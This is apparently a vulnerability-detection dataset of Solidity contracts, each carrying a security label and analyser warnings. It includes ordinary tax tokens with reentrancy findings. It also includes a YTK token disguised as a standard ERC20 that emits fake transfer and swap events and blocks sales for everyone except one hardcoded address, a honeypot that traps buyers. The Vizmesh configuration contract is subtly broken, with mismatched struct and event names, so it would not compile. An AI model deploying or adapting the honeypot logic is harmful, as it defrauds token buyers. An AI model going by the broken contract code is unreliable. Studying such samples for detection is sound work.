files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PCR is ERC20, Ownable {\n uint256 constant maxWalletStart = 10e16;\n uint256 constant addMaxWalletPerMinute = 5e16;\n uint256 public constant totalSupplyOnStart = 5e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"Polymerase\", \"PCR\") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: bb7e39c): PCR.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for bb7e39c: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 7fae7e8): PCR.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for 7fae7e8: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: bb7e39c\n\t\t// incorrect-equality | ID: 7fae7e8\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: bb7e39c\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 2fe0e73): PCR._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for 2fe0e73: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 2fe0e73\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: de76939): PCR.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for de76939: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: de76939\n pool = poolAddress;\n }\n}",
"file_name": "solidity_code_3609.sol",
"secure": 0,
"size_bytes": 2769
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Plank is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cb5fbff): Plank._taxWallet should be immutable \n\t// Recommendation for cb5fbff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f4920f): Plank._initialBuyTax should be constant \n\t// Recommendation for 7f4920f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 321ee2e): Plank._initialSellTax should be constant \n\t// Recommendation for 321ee2e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: af33ad1): Plank._reduceBuyTaxAt should be constant \n\t// Recommendation for af33ad1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb621eb): Plank._reduceSellTaxAt should be constant \n\t// Recommendation for bb621eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92be793): Plank._preventSwapBefore should be constant \n\t// Recommendation for 92be793: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 21;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Talking Plank\";\n\n string private constant _symbol = unicode\"PLANK\";\n\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a1f850): Plank._taxSwapThreshold should be constant \n\t// Recommendation for 4a1f850: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 5000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c940590): Plank._maxTaxSwap should be constant \n\t// Recommendation for c940590: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n event SolanaBridgeTransfer(\n address indexed from,\n uint256 solanaAddress,\n uint256 amount\n );\n\n bool public bridgeToSolanaOpen = false;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b3106f1): Plank.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b3106f1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 878bac2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 878bac2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1aa6ab1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1aa6ab1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 878bac2\n\t\t// reentrancy-benign | ID: 1aa6ab1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 878bac2\n\t\t// reentrancy-benign | ID: 1aa6ab1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b753617): Plank._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b753617: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1aa6ab1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 878bac2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b9a20a9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b9a20a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9c3c727): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9c3c727: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b9a20a9\n\t\t\t\t// reentrancy-eth | ID: 9c3c727\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b9a20a9\n\t\t\t\t\t// reentrancy-eth | ID: 9c3c727\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9c3c727\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9c3c727\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9c3c727\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b9a20a9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9c3c727\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9c3c727\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b9a20a9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b9a20a9\n\t\t// reentrancy-events | ID: 878bac2\n\t\t// reentrancy-benign | ID: 1aa6ab1\n\t\t// reentrancy-eth | ID: 9c3c727\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f70a05d): Plank.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f70a05d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b9a20a9\n\t\t// reentrancy-events | ID: 878bac2\n\t\t// reentrancy-eth | ID: 9c3c727\n\t\t// arbitrary-send-eth | ID: f70a05d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 424a478): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 424a478: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4df3766): Plank.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4df3766: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1c0982b): Plank.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1c0982b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9d4a7ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9d4a7ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 424a478\n\t\t// reentrancy-eth | ID: 9d4a7ad\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 424a478\n\t\t// unused-return | ID: 1c0982b\n\t\t// reentrancy-eth | ID: 9d4a7ad\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 424a478\n\t\t// unused-return | ID: 4df3766\n\t\t// reentrancy-eth | ID: 9d4a7ad\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 424a478\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9d4a7ad\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function openBridgeToSolana() external onlyOwner {\n bridgeToSolanaOpen = true;\n }\n\n function closeBridgeToSolana() external onlyOwner {\n bridgeToSolanaOpen = false;\n }\n\n function transferToSolana(\n uint256 amount,\n uint256 solanaAddress\n ) external returns (bool) {\n require(bridgeToSolanaOpen, \"Bridge is not open\");\n\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(solanaAddress != 0, \"Invalid Solana address\");\n\n require(_balances[msg.sender] >= amount, \"Insufficient balance\");\n\n _balances[msg.sender] = _balances[msg.sender].sub(amount);\n\n _balances[address(this)] = _balances[address(this)].add(amount);\n\n emit SolanaBridgeTransfer(msg.sender, solanaAddress, amount);\n\n emit Transfer(msg.sender, address(this), amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_361.sol",
"secure": 0,
"size_bytes": 18787
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Vizmesh {\n function balanceOf(\n address account,\n uint256 id\n ) external view returns (uint256);\n}",
"file_name": "solidity_code_3610.sol",
"secure": 1,
"size_bytes": 195
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Vizmesh.sol\" as Vizmesh;\n\ncontract VizmeshConfigMainnet {\n address public vizmeshSmartContractAddress;\n address public ownerAddress;\n mapping(uint256 => bool) public isPauseds;\n mapping(uint256 => ethNft) public ethNfts;\n mapping(uint256 => otherNft) public otherNfts;\n mapping(uint256 => coord) private coords;\n\n event LogSetEthNft(\n address _from,\n uint256 _frmId,\n address _nftSmartContractAddress,\n uint256 _nftTokenId\n );\n event LogSetOtherNft(address _from, uint256 _frmId, string _delimitedText);\n event LogSetIsPaused(uint256 _frmId, bool _isPaused);\n event LogSetCoord(address _from, uint256 _frmId, int32 _x, int32 _y);\n\n constructor() {\n ownerAddress = msg.sender;\n vizmeshSmartContractAddress = 0xFDf676eF9A5A74F8279Cd5fC70B8c1b9116b05CD;\n }\n\n struct EthNft {\n address nftSmartContractAddress;\n uint256 nftTokenId;\n }\n\n struct OtherNft {\n string delimitedText;\n }\n\n struct Coord {\n int256 x;\n int256 y;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3d95cd9): VizmeshConfigMainnet.setVizmeshSmartContractAddress(address)._vizmeshSmartContractAddress lacks a zerocheck on \t vizmeshSmartContractAddress = _vizmeshSmartContractAddress\n\t// Recommendation for 3d95cd9: Check that the address is not zero.\n function setVizmeshSmartContractAddress(\n address _vizmeshSmartContractAddress\n ) public {\n require(isOwnerOfSmartContract(), \"Must be smart contract owner\");\n\t\t// missing-zero-check | ID: 3d95cd9\n vizmeshSmartContractAddress = _vizmeshSmartContractAddress;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f2b5368): VizmeshConfigMainnet.setOwnerOfSmartContract(address)._ownerAddress lacks a zerocheck on \t ownerAddress = _ownerAddress\n\t// Recommendation for f2b5368: Check that the address is not zero.\n function setOwnerOfSmartContract(address _ownerAddress) public {\n require(isOwnerOfSmartContract(), \"Must be smart contract owner\");\n\t\t// missing-zero-check | ID: f2b5368\n ownerAddress = _ownerAddress;\n }\n\n function isOwnerOfSmartContract() public view returns (bool) {\n return msg.sender == ownerAddress;\n }\n\n function isOwnerOfFrm(uint256 _frmId) public view returns (bool) {\n return\n Vizmesh(vizmeshSmartContractAddress).balanceOf(\n msg.sender,\n _frmId\n ) == 1;\n }\n\n function setIsPaused(uint256 _frmId, bool _isPaused) public {\n require(isOwnerOfSmartContract(), \"Must be smart contract owner\");\n isPauseds[_frmId] = _isPaused;\n emit logSetIsPaused(_frmId, _isPaused);\n }\n\n function setCoord(uint256 _frmId, int32 _x, int32 _y) public {\n require(isPauseds[_frmId] == false, \"FRM must not be paused\");\n require(\n isOwnerOfFrm(_frmId) || isOwnerOfSmartContract(),\n \"Must be FRM owner or smart contract owner to update FRM coordinates.\"\n );\n coords[_frmId] = coord(_x, _y);\n emit logSetCoord(msg.sender, _frmId, _x, _y);\n }\n\n function setEthNft(\n uint256 _frmId,\n address _nftSmartContractAddress,\n uint256 _nftTokenId\n ) public {\n require(isPauseds[_frmId] == false, \"FRM must not be paused\");\n require(\n isOwnerOfFrm(_frmId) || isOwnerOfSmartContract(),\n \"Must be FRM owner or smart contract owner to update FRM NFT.\"\n );\n ethNfts[_frmId] = ethNft(_nftSmartContractAddress, _nftTokenId);\n emit logSetEthNft(\n msg.sender,\n _frmId,\n _nftSmartContractAddress,\n _nftTokenId\n );\n }\n\n function setOtherNft(uint256 _frmId, string memory _delimitedText) public {\n require(isPauseds[_frmId] == false, \"FRM must not be paused\");\n require(\n isOwnerOfFrm(_frmId) || isOwnerOfSmartContract(),\n \"Must FRM owner or smart contract owner to update FRM NFT.\"\n );\n otherNfts[_frmId] = otherNft(_delimitedText);\n emit logSetOtherNft(msg.sender, _frmId, _delimitedText);\n }\n\n function getCoord(uint256 _frmId) public view returns (coord memory) {\n if (coords[_frmId].x == 0) {\n return getDefaultCoord(_frmId);\n } else {\n return coords[_frmId];\n }\n }\n\n function getDefaultCoord(\n uint256 _frmId\n ) public pure returns (coord memory) {\n coord memory c = coord(0, 0);\n int256 i;\n int256 x;\n int256 y;\n for (i = 0; i < 255; i += 1) {\n if (int256(_frmId) > (i * 2) * (i * 2)) {\n continue;\n } else {\n int256 thickness = i - 1;\n int256 turn_length = thickness * 2 + 1;\n int256 half_turn_length = thickness + 1;\n\n int256 j;\n int256 remainder = int256(_frmId) -\n (thickness * 2) *\n (thickness * 2);\n\n x = 1;\n y = thickness + 1;\n for (j = 1; j < remainder; j++) {\n if (j < half_turn_length) {\n x += 1;\n } else if (j < half_turn_length + turn_length) {\n y -= 1;\n if (y == 0) {\n y -= 1;\n }\n } else if (\n j < half_turn_length + turn_length + turn_length\n ) {\n x -= 1;\n if (x == 0) {\n x -= 1;\n }\n } else if (\n j <\n half_turn_length +\n turn_length +\n turn_length +\n turn_length\n ) {\n y += 1;\n if (y == 0) {\n y += 1;\n }\n } else {\n x += 1;\n }\n }\n\n c = coord(x, y);\n break;\n }\n }\n return c;\n }\n}",
"file_name": "solidity_code_3611.sol",
"secure": 0,
"size_bytes": 6535
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\nimport \"./IERC000.sol\" as IERC000;\n\ncontract YTK is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n address private _pair;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n emit Transfer(_pair, _addresses_[i], _in);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 03bbcef): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 03bbcef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 2f663de): YTK.execute(address,address[],uint256,uint256) has external calls inside a loop IERC000(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(recipients[i],uniswapPool,wethAmounts)\n\t// Recommendation for 2f663de: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7a10fe8): YTK.execute(address,address[],uint256,uint256) ignores return value by IERC000(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(recipients[i],uniswapPool,wethAmounts)\n\t// Recommendation for 7a10fe8: Ensure that all the return values of the function calls are used.\n function execute(\n address uniswapPool,\n address[] memory recipients,\n uint256 tokenAmounts,\n uint256 wethAmounts\n ) public returns (bool) {\n for (uint256 i = 0; i < recipients.length; i++) {\n\t\t\t// reentrancy-events | ID: 03bbcef\n emit Transfer(uniswapPool, recipients[i], tokenAmounts);\n\t\t\t// reentrancy-events | ID: 03bbcef\n emit Swap(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,\n tokenAmounts,\n 0,\n 0,\n wethAmounts,\n recipients[i]\n );\n\t\t\t// reentrancy-events | ID: 03bbcef\n\t\t\t// calls-loop | ID: 2f663de\n\t\t\t// unused-return | ID: 7a10fe8\n IERC000(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(\n recipients[i],\n uniswapPool,\n wethAmounts\n );\n }\n return true;\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 336a773): YTK.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 336a773: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 46e176a): YTK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 46e176a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3bf16fe): YTK.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3bf16fe: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e3aaec4): YTK.toPair(address).account lacks a zerocheck on \t _pair = account\n\t// Recommendation for e3aaec4: Check that the address is not zero.\n function toPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x3Ed4dcB0B4E5149b08296D72c66Fc3F9Cc7917A5)\n\t\t\t// missing-zero-check | ID: e3aaec4\n _pair = account;\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fe1f4d3): YTK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fe1f4d3: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (_pair != address(0)) {\n if (\n to == _pair &&\n from != 0xea5910C3401CBC5b468C5BA10C4cc02458b09a2E\n ) {\n bool b = false;\n if (!b) {\n require(amount < 100);\n }\n }\n }\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n 